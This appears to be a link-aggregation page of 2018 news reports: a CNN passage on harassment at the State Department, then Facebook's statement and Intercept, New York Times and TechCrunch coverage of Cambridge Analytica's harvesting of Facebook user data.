The two encounters -- which happened years apart, at dramatically different stages of Bassett's more than three-decade long career -- emphasized to her the pervasiveness of harassment in the State Department, where "deep-seated prejudices" have been tolerated, and where cultural and structural mechanisms have allowed inappropriate behavior to continue, often unaddressed.
"The problem of sexual harassment and even assault is persistent; it is real; and it needs to be addressed," she writes. "We can't wait any longer to make meaningful change."
It's a problem Secretary Tillerson has acknowledged, and addressed publicly in a recent town hall with employees."Harassment and abuse have no place in a nation founded on the ideals of individual liberty and the pursuit of happiness, and it can have no place in this organization, our State Department," he said to applause. "Not here in Washington, not at post abroad. Nowhere. I cannot and I will not tolerate it."
Tillerson was briefed on the agency's harassment and abuse statistics when he first took office and has since spoken to staff about his zero-tolerance approach on the issue at embassies and consulates around the world.
He also told senior staff at a recent leadership meeting, that his concerns about the issue were further triggered when, during his January remarks, he saw women crying in the audience as he spoke about the issue, according to Undersecretary for Public Diplomacy Steve Goldstein, who was in the leadership meeting. Between the statistics and witnessing the emotional reaction, said Goldstein, Tillerson knew he had a problem and has been trying to aggressively attack it.
"Sexual harassment will not be tolerated at the Department of State," State Department Spokeswoman Heather Nauert told CNN in a statement Wednesday. "This has been made clear to Department employees -- both domestic and international -- and our senior-most officials have taken the lead in efforts to staunch unacceptable workplace behavior."
She referenced Tillerson's January remarks to staff and said the secretary has mandated anti-harassment training for all employees in the coming weeks.
"Addressing sexual harassment is one of Secretary Tillerson's priorities and he has been hands on in this effort, drawing a clear line in the sand regarding behaviors that will not be tolerated at the State Department," said Nauert.
Bassett's article includes stories from six current State Department employees who shared their experiences with her anonymously, in part because they are still working for the agency.
Most of the women whose stories are featured in the article spoke with CNN. While we cannot independently confirm elements of their experiences, the women corroborated the accuracy of their accounts as they appear in the Foreign Service Journal.
One woman explained to Bassett how, as a senior foreign service officer, she and two female colleagues were approached by three junior officers at the end of their first overseas post. They shared an array of worrying behaviors they'd encountered there and wanted to know whether these were typical of what they could expect in a foreign service career.
Another agency employee states in the article, "I have a co-worker who almost every time we interact feels the need to remind me that he thinks we should date because I have 'a nice ass''--despite the fact that I made it clear that I am not interested years ago."
Another describes accompanying a visiting US congressman to the airport after he persistently badgered her to have a drink with him at his hotel bar and "looked pointedly" down her shirt.
Bassett told CNN she was encouraged by conversations she'd had with other women in the national security realm who have recounted similar experiences to her. More than 200 such women, including Bassett, signed an open letter in November, calling on the national security community to take specific actions to prevent and address abusive behavior that holds women back."It was an opportunity for all of us to acknowledge together for the first time what we had experienced as individuals across a career," Bassett told CNN, "and what we saw continuing as challenges for women in the national security sector, not just the State Department."
The State Department received 483 reports of harassment in the 2017 fiscal year, 225 of which included "claims of sexual or gender-based harassment," a State Department official tells CNN. Metrics related to harassment can be unreliable because the victims sometimes chose not to come forward, or multiple people come forward to report the same incident.
While the State Department is hardly alone in its struggle to address harassment, Bassett says there are elements of the culture and structure at the agency that make the problem harder to tackle.
In particular, Bassett writes about how a heavy reliance on "corridor reputation" in personnel assignments can prevent women from coming forward about abuse out of fear they will be viewed as troublemakers or prone to complaining.
A current State Department employee who spoke on condition of anonymity told CNN that navigating this word-of-mouth system is particularly challenging at the State Department, because foreign service officers often work together in small overseas posts where the lines between their personal and professional lives are more blurred.
Bobby Devadoss, a Dallas-based employment attorney who focuses on cases brought by federal employees, told CNN that, for many government staffers, the concerns outlined by Bassett are, "the gospel truth."
"Retaliation is very prevalent," he said, and often comes in subtle forms that are hard to pinpoint or address and can lead to questions about performance.
In her article, Bassett explains how the internal reporting process can be onerous and time consuming for victims, and suggests the agency lacks the kind of clear guidance and mandatory harassment training can lead to better accountability.
She is calling for the creation of a special committee with a diverse membership, "to investigate all forms of sexual harassment within the State Department and create actionable recommendations on institutional reform within a reasonable time-frame."
Steve Goldstein told CNN that Tillerson has already instructed staff to develop new compliance procedures so cases do not become buried in the State Department's various bureaus.
"He tells us, 'there is right and there is wrong and we have to put a stop to it,'" Goldstein recounted. "He is saying 'this is no longer a permissive environment.' By doing that, you reduce instances of it immediately because people get the message it will not be tolerated."
Bassett and others who spoke with CNN for this story point out that locally employed staff at US embassies and consulates are particularly vulnerable to harassment and abuse because they don't have access to the same grievance mechanisms as American employees and tend to be outranked by their diplomatic colleagues. Goldstein noted that Tillerson has paid particular attention to this issue.
A former Equal Employment Opportunity counselor who spoke to Bassett for the article and later recounted her experience to CNN, said that while such cases involving locally employed staff are not commonplace, they are unique because of the lack of formal recourse, and because victims can face additional cultural stigmas that sometimes lead to self-censorship.
Beyond her recommendations to the State Department's leadership, Bassett also encourages people who have witnessed or experienced harassment to come forward.
She acknowledges she didn't speak up when she encountered harassment in her own career, but says the agency has made improvements in its reporting process since her early days and she hopes the cultural shift brought on by the #MeToo movement will encourage staffers and their managers to speak up when they see inappropriate behavior.
"We need a united front on the supervisory angle to make sure its zero tolerance, its immediate, its public, its transparent, and it's evident that it just will not be accepted," she said.
Data is the new Bacon
Suspending Cambridge Analytica and SCL Group from Facebook | Facebook Newsroom
Sun, 18 Mar 2018 00:55
By Paul Grewal, VP & Deputy General Counsel
Update on March 17, 2018, 9:50 AM: The claim that this is a data breach is completely false. Aleksandr Kogan requested and gained access to information from users who chose to sign up to his app, and everyone involved gave their consent. People knowingly provided their information, no systems were infiltrated, and no passwords or sensitive pieces of information were stolen or hacked.
Originally published on March 16, 2018:
We are suspending Strategic Communication Laboratories (SCL), including their political data analytics firm, Cambridge Analytica, from Facebook. Given the public prominence of this organization, we want to take a moment to explain how we came to this decision and why.
We Maintain Strict Standards and Policies
Protecting people's information is at the heart of everything we do, and we require the same from people who operate apps on Facebook. In 2015, we learned that a psychology professor at the University of Cambridge named Dr. Aleksandr Kogan lied to us and violated our Platform Policies by passing data from an app that was using Facebook Login to SCL/Cambridge Analytica, a firm that does political, government and military work around the globe. He also passed that data to Christopher Wylie of Eunoia Technologies, Inc.
Like all app developers, Kogan requested and gained access to information from people after they chose to download his app. His app, ''thisisyourdigitallife,'' offered a personality prediction, and billed itself on Facebook as ''a research app used by psychologists.'' Approximately 270,000 people downloaded the app. In so doing, they gave their consent for Kogan to access information such as the city they set on their profile, or content they had liked, as well as more limited information about friends who had their privacy settings set to allow it.
Although Kogan gained access to this information in a legitimate way and through the proper channels that governed all developers on Facebook at that time, he did not subsequently abide by our rules. By passing information on to a third party, including SCL/Cambridge Analytica and Christopher Wylie of Eunoia Technologies, he violated our platform policies. When we learned of this violation in 2015, we removed his app from Facebook and demanded certifications from Kogan and all parties he had given data to that the information had been destroyed. Cambridge Analytica, Kogan and Wylie all certified to us that they destroyed the data.
Breaking the Rules Leads to Suspension
Several days ago, we received reports that, contrary to the certifications we were given, not all data was deleted. We are moving aggressively to determine the accuracy of these claims. If true, this is another unacceptable violation of trust and the commitments they made. We are suspending SCL/Cambridge Analytica, Wylie and Kogan from Facebook, pending further information.
We are committed to vigorously enforcing our policies to protect people's information. We will take whatever steps are required to see that this happens. We will take legal action if necessary to hold them responsible and accountable for any unlawful behavior.
How Things Have Changed
We are constantly working to improve the safety and experience of everyone on Facebook. In the past five years, we have made significant improvements in our ability to detect and prevent violations by app developers. Now all apps requesting detailed user information go through our App Review process, which requires developers to justify the data they're looking to collect and how they're going to use it '' before they're allowed to even ask people for it.
In 2014, after hearing feedback from the Facebook community, we made an update to ensure that each person decides what information they want to share about themselves, including their friend list. This is just one of the many ways we give people the tools to control their experience. Before you decide to use an app, you can review the permissions the developer is requesting and choose which information to share. You can manage or revoke those permissions at any time.
On an ongoing basis, we also do a variety of manual and automated checks to ensure compliance with our policies and a positive experience for users. These include steps such as random audits of existing apps along with the regular and proactive monitoring of the fastest growing apps.
We enforce our policies in a variety of ways '-- from working with developers to fix the problem, to suspending developers from our platform, to pursuing litigation.
Facebook Failed to Protect 30 Million Users From Having Their Data Harvested by Trump Campaign Affiliate
Sun, 18 Mar 2018 00:54
In 2014, traces of an unusual survey, connected to Facebook, began appearing on internet message boards. The boards were frequented by remote freelance workers who bid on ''human intelligence tasks'' in an online marketplace, called Mechanical Turk, controlled by Amazon. The ''turkers,'' as they're known, tend to perform work that is rote and repetitive, like flagging pornographic images or digging through search engine results for email addresses. Most jobs pay between 1 and 15 cents. ''Turking makes us our rent money and helps pay off debt,'' one turker told The Intercept. Another turker has called the work ''voluntary slave labor.''
The task posted by ''Global Science Research'' appeared ordinary, at least on the surface. The company offered turkers $1 or $2 to complete an online survey. But there were a couple of additional requirements as well. First, Global Science Research was only interested in American turkers. Second, the turkers had to download a Facebook app before they could collect payment. Global Science Research said the app would ''download some information about you and your network '... basic demographics and likes of categories, places, famous people, etc. from you and your friends.''
''Our terms of service clearly prohibit misuse,'' said a spokesperson for Amazon Web Services, by email. ''When we learned of this activity back in 2015, we suspended the requester for violating our terms of service.''
Although Facebook's early growth was driven by closed, exclusive networks at college and universities, it has gradually herded users to agree to increasingly permissive terms of service. By 2014, anything a user's friends could see was also potentially visible to the developers of any app that they chose to download. Some of the turkers noticed that the Global Science Research app appeared to be taking advantage of Facebook's porousness. ''Someone can learn everything about you by looking at hundreds of pics, messages, friends, and likes,'' warned one, writing on a message board. ''More than you realize.'' Others were more blas(C). ''I don't put any info on FB,'' one wrote. ''Not even my real name '... it's backwards that people put sooo much info on Facebook, and then complain when their privacy is violated.''
In late 2015, the turkers began reporting that the Global Science Research survey had abruptly shut down. The Guardian had published a report that exposed exactly who the turkers were working for. Their data was being collected by Aleksandr Kogan, a young lecturer at Cambridge University. Kogan founded Global Science Research in 2014, after the university's psychology department refused to allow him to use its own pool of data for commercial purposes. The data collection that Kogan undertook independent of the university was done on behalf of a military contractor called Strategic Communication Laboratories, or SCL. The company's election division claims to use ''data-driven messaging'' as part of ''delivering electoral success.''
SCL has a growing U.S. spin-off, called Cambridge Analytica, which was paid millions of dollars by Donald Trump's campaign. Much of the money came from committees funded by the hedge fund billionaire Robert Mercer, who reportedly has a large stake in Cambridge Analytica. For a time, one of Cambridge Analytica's officers was Stephen K. Bannon, Trump's senior adviser. Months after Bannon claimed to have severed ties with the company, checks from the Trump campaign for Cambridge Analytica's services continued to show up at one of Bannon's addresses in Los Angeles.
''You can say Mr. Mercer declined to comment,'' said Jonathan Gasthalter, a spokesperson for Robert Mercer, by email.
Facebook Elections signs in the media area at Quicken Loans Arena in Cleveland, Aug. 6, 2015, before the first Republican presidential debate of the 2016 election.
Photo: John Minchillo/AP
The Intercept interviewed five individuals familiar with Kogan's work for SCL. All declined to be identified, citing concerns about an ongoing inquiry at Cambridge and fears of possible litigation. Two sources familiar with the SCL project told The Intercept that Kogan had arranged for more than 100,000 people to complete the Facebook survey and download an app. A third source with direct knowledge of the project said that Global Science Research obtained data from 185,000 survey participants as well as their Facebook friends. The source said that this group of 185,000 was recruited through a data company, not Mechanical Turk, and that it yielded 30 million usable profiles. No one in this larger group of 30 million knew that ''likes'' and demographic data from their Facebook profiles were being harvested by political operatives hired to influence American voters.
Kogan declined to comment. In late 2014, he gave a talk in Singapore in which he claimed to have ''a sample of 50+ million individuals about whom we have the capacity to predict virtually any trait.'' Global Science Research's public filings for 2015 show the company holding 145,111 British pounds in its bank account. Kogan has since changed his name to Spectre. Writing online, he has said that he changed his name to Spectre after getting married. ''My wife and I are both scientists and quite religious, and light is a strong symbol of both,'' he explained.
The purpose of Kogan's work was to develop an algorithm for the ''national profiling capacity of American citizens'' as part of SCL's work on U.S. elections, according to an internal document signed by an SCL employee describing the research.
''We do not do any work with Facebook likes,'' wrote Lindsey Platts, a spokesperson for Cambridge Analytica, in an email. The company currently ''has no relationship with GSR,'' Platts said.
''Cambridge Analytica does not comment on specific clients or projects,'' she added when asked whether the company was involved with Global Science Research's work in 2014 and 2015.
The Guardian, which was was the first to report on Cambridge Analytica's work on U.S. elections, in late 2015, noted that the company drew on research ''spanning tens of millions of Facebook users, harvested largely without their permission.'' Kogan disputed this at the time, telling The Guardian that his turker surveys had collected no more than ''a couple of thousand responses'' for any one client. While it is unclear how many responses Global Science Research obtained through Mechanical Turk and how many it recruited through a data company, all five of the sources interviewed by The Intercept confirmed that Kogan's work on behalf of SCL involved collecting data from survey participants' networks of Facebook friends, individuals who had not themselves consented to give their data to Global Science Research and were not aware that they were the objects of Kogan's study. In September 2016, Alexander Nix, Cambridge Analytica's CEO, said that the company built a model based on ''hundreds and hundreds of thousands of Americans'' filling out personality surveys, generating a ''model to predict the personality of every single adult in the United States of America.''
Shortly after The Guardian published its 2015 article, Facebook contacted Global Science Research and requested that it delete the data it had taken from Facebook users. Facebook's policies give Facebook the right to delete data gathered by any app deemed to be ''negatively impacting the Platform.'' The company believes that Kogan and SCL complied with the request, which was made during the Republican primary, before Cambridge Analytica switched over from Ted Cruz's campaign to Donald Trump's. It remains unclear what was ultimately done with the Facebook data, or whether any models or algorithms derived from it wound up being used by the Trump campaign.
In public, Facebook continues to maintain that whatever happened during the run-up to the election was business as usual. ''Our investigation to date has not uncovered anything that suggests wrongdoing,'' a Facebook spokesperson told The Intercept.
Facebook appears not to have considered Global Science Research's data collection to have been a serious ethical lapse. Joseph Chancellor, Kogan's main collaborator on the SCL project and a former co-owner of Global Science Research, is now employed by Facebook Research. ''The work that he did previously has no bearing on the work that he does at Facebook,'' a Facebook spokesperson told The Intercept.
Chancellor declined to comment.
Cambridge Analytica has marketed itself as classifying voters using five personality traits known as OCEAN '-- Openness, Conscientiousness, Extroversion, Agreeableness, and Neuroticism '-- the same model used by University of Cambridge researchers for in-house, non-commercial research. The question of whether OCEAN made a difference in the presidential election remains unanswered. Some have argued that big data analytics is a magic bullet for drilling into the psychology of individual voters; others are more skeptical. The predictive power of Facebook likes is not in dispute. A 2013 study by three of Kogan's former colleagues at the University of Cambridge showed that likes alone could predict race with 95 percent accuracy and political party with 85 percent accuracy. Less clear is their power as a tool for targeted persuasion; Cambridge Analytica has claimed that OCEAN scores can be used to drive voter and consumer behavior through ''microtargeting,'' meaning narrowly tailored messages. Nix has said that neurotic voters tend to be moved by ''rational and fear-based'' arguments, while introverted, agreeable voters are more susceptible to ''tradition and habits and family and community.''
Dan Gillmor, director of the Knight Center at Arizona State University, said he was skeptical of the idea that the Trump campaign got a decisive edge from data analytics. But, he added, such techniques will likely become more effective in the future. ''It's reasonable to believe that sooner or later, we're going to see widespread manipulation of people's decision-making, including in elections, in ways that are more widespread and granular, but even less detectable than today,'' he wrote in an email.
Donald Trump throws a hat to supporters during a campaign rally on Sept. 15, 2015, in Los Angeles.
Photo: Justin Sullivan/Getty Images
Trump's circle has been open about its use of Facebook to influence the vote. Joel Pollak, an editor at Breitbart, writes in his campaign memoir about Trump's ''armies of Facebook 'friends,' '... bypassing the gatekeepers in the traditional media.'' Roger Stone, a longtime Trump adviser, has written in his own campaign memoir about ''geo-targeting'' cities to deliver a debunked claim that Bill Clinton had fathered a child out of wedlock, and narrowing down the audience ''based on preferences in music, age range, black culture, and other urban interests.''
Clinton, of course, had her own analytics effort, and digital market research is a normal part of any political campaign. But the quantity of data compiled on individuals during the run-up to the election is striking. Alexander Nix, head of Cambridge Analytica, has claimed to ''have a massive database of 4-5,000 data points on every adult in America.'' Immediately after the election, the company tried to take credit for the win, claiming that its data helped the Trump campaign set the candidate's travel schedule and place online ads that were viewed 1.5 billion times. Since then, the company has been de-emphasizing its reliance on psychological profiling.
The Information Commissioner's Office, an official privacy watchdog within the British government, is now looking into whether Cambridge Analytica and similar companies might pose a risk to voters' rights. The British inquiry was triggered by reports in The Observer of ties between Robert Mercer, Cambridge Analytica, and the Leave.EU campaign, which worked to persuade British voters to leave the European Union. While Nix has previously talked about the firm's work for Leave.EU, Cambridge Analytica now denies that it had any paid role in the campaign.
Leave.EU signage is displayed in London on March 5, 2016.
Photo: Rex Features/AP Images
In the U.S., where privacy laws are looser, there is no investigation. Cambridge Analytica is said to be pitching its products to several federal agencies, including the Joint Chiefs of Staff. SCL, its parent company, has new offices near the White House and has reportedly been advised by Gen. Michael Flynn, Trump's former national security adviser, on how to increase its federal business. (A spokesperson for Flynn denied that he had done any work for SCL.)
Years before the arrival of Kogan's turkers, Facebook founder Mark Zuckerberg tried to address privacy concerns around the company's controversial Beacon program, which quietly funneled data from outside websites into Facebook, often without Facebook users being aware of the process. Reflecting on Beacon, Zuckerberg attributed part of Facebook's success to giving ''people control over what and how they share information.'' He said that he regretted making Beacon an ''opt-out system instead of opt-in '... if someone forgot to decline to share something, Beacon went ahead and still shared it with their friends.''
Seven years later, Facebook appears to have made the same mistake, but with far greater consequences. In mid-2014, however, Facebook announced a new review process, where the company would make sure that new apps asked only for data they would actually use. ''People want more control,'' the company said at that time. ''It's going to make a huge difference with building trust with your app's audience.'' Existing apps were given a full year to switch over to have Facebook review how they handled user data. By that time, Global Science Research already had what it needed.
Top photo: A collage of profile pictures makes up the Facebook logo on a wall at a Facebook Data Center in Forest City, N.C., in 2012.
How Trump Consultants Exploited the Facebook Data of Millions - The New York Times
Sun, 18 Mar 2018 00:54
Christopher Wylie, who helped found the data firm Cambridge Analytica and worked there until 2014, has described the company as an ''arsenal of weapons'' in a culture war. Credit Andrew Testa for The New York Times LONDON '-- As the upstart voter-profiling company Cambridge Analytica prepared to wade into the 2014 American midterm elections, it had a problem.
The firm had secured a $15 million investment from Robert Mercer, the wealthy Republican donor, and wooed his political adviser, Stephen K. Bannon, with the promise of tools that could identify the personalities of American voters and influence their behavior. But it did not have the data to make its new products work.
So the firm harvested private information from the Facebook profiles of more than 50 million users without their permission, according to former Cambridge employees, associates and documents, making it one of the largest data leaks in the social network's history. The breach allowed the company to exploit the private social media activity of a huge swath of the American electorate, developing techniques that underpinned its work on President Trump's campaign in 2016.
An examination by The New York Times and The Observer of London reveals how Cambridge Analytica's drive to bring to market a potentially powerful new weapon put the firm '-- and wealthy conservative investors seeking to reshape politics '-- under scrutiny from investigators and lawmakers on both sides of the Atlantic.
Both Congress and the British Parliament have questioned Alexander Nix, chief executive of Cambridge Analytica, about the firm's activities. Credit Bryan Bedder/Getty Images Christopher Wylie, who helped found Cambridge and worked there until late 2014, said of its leaders: ''Rules don't matter for them. For them, this is a war, and it's all fair.''
''They want to fight a culture war in America,'' he added. ''Cambridge Analytica was supposed to be the arsenal of weapons to fight that culture war.''
Details of Cambridge's acquisition and use of Facebook data have surfaced in several accounts since the business began working on the 2016 campaign, setting off a furious debate about the merits of the firm's so-called psychographic modeling techniques.
But the full scale of the data leak involving Americans has not been previously disclosed '-- and Facebook, until now, has not acknowledged it. Interviews with a half-dozen former employees and contractors, and a review of the firm's emails and documents, have revealed that Cambridge not only relied on the private Facebook data but still possesses most or all of the trove.
Cambridge paid to acquire the personal information through an outside researcher who, Facebook says, claimed to be collecting it for academic purposes.
During a week of inquiries from The Times, Facebook downplayed the scope of the leak and questioned whether any of the data still remained out of its control. But on Friday, the company posted a statement expressing alarm and promising to take action.
''This was a scam '-- and a fraud,'' Paul Grewal, a vice president and deputy general counsel at the social network, said in a statement to The Times earlier on Friday. He added that the company was suspending Cambridge Analytica, Mr. Wylie and the researcher, Aleksandr Kogan, a Russian-American academic, from Facebook. ''We will take whatever steps are required to see that the data in question is deleted once and for all '-- and take action against all offending parties,'' Mr. Grewal said.
Alexander Nix, the chief executive of Cambridge Analytica, and other officials had repeatedly denied obtaining or using Facebook data, most recently during a parliamentary hearing last month. But in a statement to The Times, the company acknowledged that it had acquired the data, though it blamed Mr. Kogan for violating Facebook's rules and said it had deleted the information as soon as it learned of the problem two years ago.
In Britain, Cambridge Analytica is facing intertwined investigations by Parliament and government regulators into allegations that it performed illegal work on the ''Brexit'' campaign. The country has strict privacy laws, and its information commissioner announced on Saturday that she was looking into whether the Facebook data was ''illegally acquired and used.''
In the United States, Mr. Mercer's daughter, Rebekah, a board member, Mr. Bannon and Mr. Nix received warnings from their lawyer that it was illegal to employ foreigners in political campaigns, according to company documents and former employees.
The conservative donor Robert Mercer invested $15 million in Cambridge Analytica, where his daughter Rebekah is a board member. Credit Patrick McMullan, via Getty Images Congressional investigators have questioned Mr. Nix about the company's role in the Trump campaign. And the Justice Department's special counsel, Robert S. Mueller III, has demanded the emails of Cambridge Analytica employees who worked for the Trump team as part of his investigation into Russian interference in the election.
While the substance of Mr. Mueller's interest is a closely guarded secret, documents viewed by The Times indicate that the firm's British affiliate claims to have worked in Russia and Ukraine. And the WikiLeaks founder, Julian Assange, disclosed in October that Mr. Nix had reached out to him during the campaign in hopes of obtaining private emails belonging to Mr. Trump's Democratic opponent, Hillary Clinton.
The documents also raise new questions about Facebook, which is already grappling with intense criticism over the spread of Russian propaganda and fake news. The data Cambridge collected from profiles, a portion of which was viewed by The Times, included details on users' identities, friend networks and ''likes.'' Only a tiny fraction of the users had agreed to release their information to a third party.
''Protecting people's information is at the heart of everything we do,'' Mr. Grewal said. ''No systems were infiltrated, and no passwords or sensitive pieces of information were stolen or hacked.''
Still, he added, ''it's a serious abuse of our rules.''
Reading Voters' MindsThe Bordeaux flowed freely as Mr. Nix and several colleagues sat down for dinner at the Palace Hotel in Manhattan in late 2013, Mr. Wylie recalled in an interview. They had much to celebrate.
Mr. Nix, a brash salesman, led the small elections division at SCL Group, a political and defense contractor. He had spent much of the year trying to break into the lucrative new world of political data, recruiting Mr. Wylie, then a 24-year-old political operative with ties to veterans of President Obama's campaigns. Mr. Wylie was interested in using inherent psychological traits to affect voters' behavior and had assembled a team of psychologists and data scientists, some of them affiliated with Cambridge University.
The group experimented abroad, including in the Caribbean and Africa, where privacy rules were lax or nonexistent and politicians employing SCL were happy to provide government-held data, former employees said.
Then a chance meeting bought Mr. Nix into contact with Mr. Bannon, the Breitbart News firebrand who would later become a Trump campaign and White House adviser, and with Mr. Mercer, one of the richest men on earth.
Mr. Nix and his colleagues courted Mr. Mercer, who believed a sophisticated data company could make him a kingmaker in Republican politics, and his daughter Rebekah, who shared his conservative views. Mr. Bannon was intrigued by the possibility of using personality profiling to shift America's culture and rewire its politics, recalled Mr. Wylie and other former employees, who spoke on the condition of anonymity because they had signed nondisclosure agreements. Mr. Bannon and the Mercers declined to comment.
Mr. Mercer agreed to help finance a $1.5 million pilot project to poll voters and test psychographic messaging in Virginia's gubernatorial race in November 2013, where the Republican attorney general, Ken Cuccinelli, ran against Terry McAuliffe, the Democratic fund-raiser. Though Mr. Cuccinelli lost, Mr. Mercer committed to moving forward.
The Mercers wanted results quickly, and more business beckoned. In early 2014, the investor Toby Neugebauer and other wealthy conservatives were preparing to put tens of millions of dollars behind a presidential campaign for Senator Ted Cruz of Texas, work that Mr. Nix was eager to win.
When Mr. Wylie's colleagues failed to produce a memo explaining their work to Mr. Neugebauer, Mr. Nix castigated them over email.
''ITS 2 PAGES!! 4 hours work max (or an hour each). What have you all been doing??'' he wrote.
Mr. Wylie's team had a bigger problem. Building psychographic profiles on a national scale required data the company could not gather without huge expense. Traditional analytics firms used voting records and consumer purchase histories to try to predict political beliefs and voting behavior.
But those kinds of records were useless for figuring out whether a particular voter was, say, a neurotic introvert, a religious extrovert, a fair-minded liberal or a fan of the occult. Those were among the psychological traits the firm claimed would provide a uniquely powerful means of designing political messages.
Aleksandr Kogan, a Russian-American academic, built an app that helped the firm harvest Facebook data. Mr. Wylie found a solution at Cambridge University's Psychometrics Centre. Researchers there had developed a technique to map personality traits based on what people had liked on Facebook. The researchers paid users small sums to take a personality quiz and download an app, which would scrape some private information from their profiles and those of their friends, activity that Facebook permitted at the time. The approach, the scientists said, could reveal more about a person than their parents or romantic partners knew '-- a claim that has been disputed.
When the Psychometrics Centre declined to work with the firm, Mr. Wylie found someone who would: Dr. Kogan, who was then a psychology professor at the university and knew of the techniques. Dr. Kogan built his own app and in June 2014 began harvesting data for Cambridge Analytica. The business covered the costs '-- more than $800,000 '-- and allowed him to keep a copy for his own research, according to company emails and financial records.
All he divulged to Facebook, and to users in fine print, was that he was collecting information for academic purposes, the social network said. It did not verify his claim. Dr. Kogan declined to provide details of what happened, citing nondisclosure agreements with Facebook and Cambridge Analytica, though he maintained that his program was ''a very standard vanilla Facebook app.''
He ultimately provided over 50 million raw profiles to the firm, Mr. Wylie said, a number confirmed by a company email and a former colleague. Of those, roughly 30 million '-- a number previously reported by The Intercept '-- contained enough information, including places of residence, that the company could match users to other records and build psychographic profiles. Only about 270,000 users '-- those who participated in the survey '-- had consented to having their data harvested.
An email from Dr. Kogan to Mr. Wylie describing traits that could be predicted. Mr. Wylie said the Facebook data was ''the saving grace'' that let his team deliver the models it had promised the Mercers.
''We wanted as much as we could get,'' he acknowledged. ''Where it came from, who said we could have it '-- we weren't really asking.''
Mr. Nix tells a different story. Appearing before a parliamentary committee last month, he described Dr. Kogan's contributions as ''fruitless.''
An International EffortJust as Dr. Kogan's efforts were getting underway, Mr. Mercer agreed to invest $15 million in a joint venture with SCL's elections division. The partners devised a convoluted corporate structure, forming a new American company, owned almost entirely by Mr. Mercer, with a license to the psychographics platform developed by Mr. Wylie's team, according to company documents. Mr. Bannon, who became a board member and investor, chose the name: Cambridge Analytica.
The firm was effectively a shell. According to the documents and former employees, any contracts won by Cambridge, originally incorporated in Delaware, would be serviced by London-based SCL and overseen by Mr. Nix, a British citizen who held dual appointments at Cambridge Analytica and SCL. Most SCL employees and contractors were Canadian, like Mr. Wylie, or European.
But in July 2014, an American election lawyer advising the company, Laurence Levy, warned that the arrangement could violate laws limiting the involvement of foreign nationals in American elections.
In a memo to Mr. Bannon, Ms. Mercer and Mr. Nix, the lawyer, then at the firm Bracewell & Giuliani, warned that Mr. Nix would have to recuse himself ''from substantive management'' of any clients involved in United States elections. The data firm would also have to find American citizens or green card holders, Mr. Levy wrote, ''to manage the work and decision making functions, relative to campaign messaging and expenditures.''
In summer and fall 2014, Cambridge Analytica dived into the American midterm elections, mobilizing SCL contractors and employees around the country. Few Americans were involved in the work, which included polling, focus groups and message development for the John Bolton Super PAC, conservative groups in Colorado and the campaign of Senator Thom Tillis, the North Carolina Republican.
Cambridge Analytica, in its statement to The Times, said that all ''personnel in strategic roles were U.S. nationals or green card holders.'' Mr. Nix ''never had any strategic or operational role'' in an American election campaign, the company said.
Whether the company's American ventures violated election laws would depend on foreign employees' roles in each campaign, and on whether their work counted as strategic advice under Federal Election Commission rules.
Cambridge Analytica appears to have exhibited a similar pattern in the 2016 election cycle, when the company worked for the campaigns of Mr. Cruz and then Mr. Trump. While Cambridge hired more Americans to work on the races that year, most of its data scientists were citizens of the United Kingdom or other European countries, according to two former employees.
Under the guidance of Brad Parscale, Mr. Trump's digital director in 2016 and now the campaign manager for his 2020 re-election effort, Cambridge performed a variety of services, former campaign officials said. That included designing target audiences for digital ads and fund-raising appeals, modeling voter turnout, buying $5 million in television ads and determining where Mr. Trump should travel to best drum up support.
The White House advisers Stephen K. Bannon and Kellyanne Conway with Ms. Mercer at the 2017 inauguration. The firm helped the Trump campaign target voters. Cambridge executives have offered conflicting accounts about the use of psychographic data on the campaign. Mr. Nix has said that the firm's profiles helped shape Mr. Trump's strategy '-- statements disputed by other campaign officials '-- but also that Cambridge did not have enough time to comprehensively model Trump voters.
In a BBC interview last December, Mr. Nix said that the Trump efforts drew on ''legacy psychographics'' built for the Cruz campaign.
After the LeakBy early 2015, Mr. Wylie and more than half his original team of about a dozen people had left the company. Most were liberal-leaning, and had grown disenchanted with working on behalf of the hard-right candidates the Mercer family favored.
Cambridge Analytica, in its statement, said that Mr. Wylie had left to start a rival firm, and that it later took legal action against him to enforce intellectual property claims. It characterized Mr. Wylie and other former ''contractors'' as engaging in ''what is clearly a malicious attempt to hurt the company.''
Near the end of that year, a report in The Guardian revealed that Cambridge Analytica was using private Facebook data on the Cruz campaign, sending Facebook scrambling. In a statement at the time, Facebook promised that it was ''carefully investigating this situation'' and would require any company misusing its data to destroy it.
Facebook verified the leak and '-- without publicly acknowledging it '-- sought to secure the information, efforts that continued as recently as August 2016. That month, lawyers for the social network reached out to Cambridge Analytica contractors. ''This data was obtained and used without permission,'' said a letter that was obtained by the Times. ''It cannot be used legitimately in the future and must be deleted immediately.''
Mr. Grewal, the Facebook deputy general counsel, said in a statement that both Dr. Kogan and ''SCL Group and Cambridge Analytica certified to us that they destroyed the data in question.''
Cambridge Analytica harvested over 50 million Facebook users' data, one of the largest data leaks in the social network's history. Credit Justin Sullivan/Getty Images But copies of the data still remain beyond Facebook's control. The Times viewed a set of raw data from the profiles Cambridge Analytica obtained.
While Mr. Nix has told lawmakers that the company does not have Facebook data, a former employee said that he had recently seen hundreds of gigabytes on Cambridge servers, and that the files were not encrypted.
Today, as Cambridge Analytica seeks to expand its business in the United States and overseas, Mr. Nix has mentioned some questionable practices. This January, in undercover footage filmed by Channel 4 News in Britain and viewed by The Times, he boasted of employing front companies and former spies on behalf of political clients around the world, and even suggested ways to entrap politicians in compromising situations.
All the scrutiny appears to have damaged Cambridge Analytica's political business. No American campaigns or ''super PACs'' have yet reported paying the company for work in the 2018 midterms, and it is unclear whether Cambridge will be asked to join Mr. Trump's re-election campaign.
In the meantime, Mr. Nix is seeking to take psychographics to the commercial advertising market. He has repositioned himself as a guru for the digital ad age '-- a ''Math Man,'' he puts it. In the United States last year, a former employee said, Cambridge pitched Mercedes-Benz, MetLife and the brewer AB InBev, but has not signed them on.
Matthew Rosenberg, Nicholas Confessore and Carole Cadwalladr reported from London. Gabriel J.X. Dance contributed reporting from London, and Danny Hakim from New York.
A version of this article appears in print on , on Page A1 of the New York edition with the headline: Firm That Assisted Trump Exploited Data of Millions . Order Reprints | Today's Paper | Subscribe Site IndexnewsopinionartslivingmoreSite Information Navigation
Facebook's latest privacy debacle stirs up more regulatory interest from lawmakers | TechCrunch
Sun, 18 Mar 2018 10:23
Facebook'slate Friday disclosure that a data analytics company with ties to the Trump campaign improperly obtained '-- and then failed to destroy '-- the private data of 50 million users is generating more unwanted attention from politicians, some of whom were already beating the drums of regulation in the company's direction.
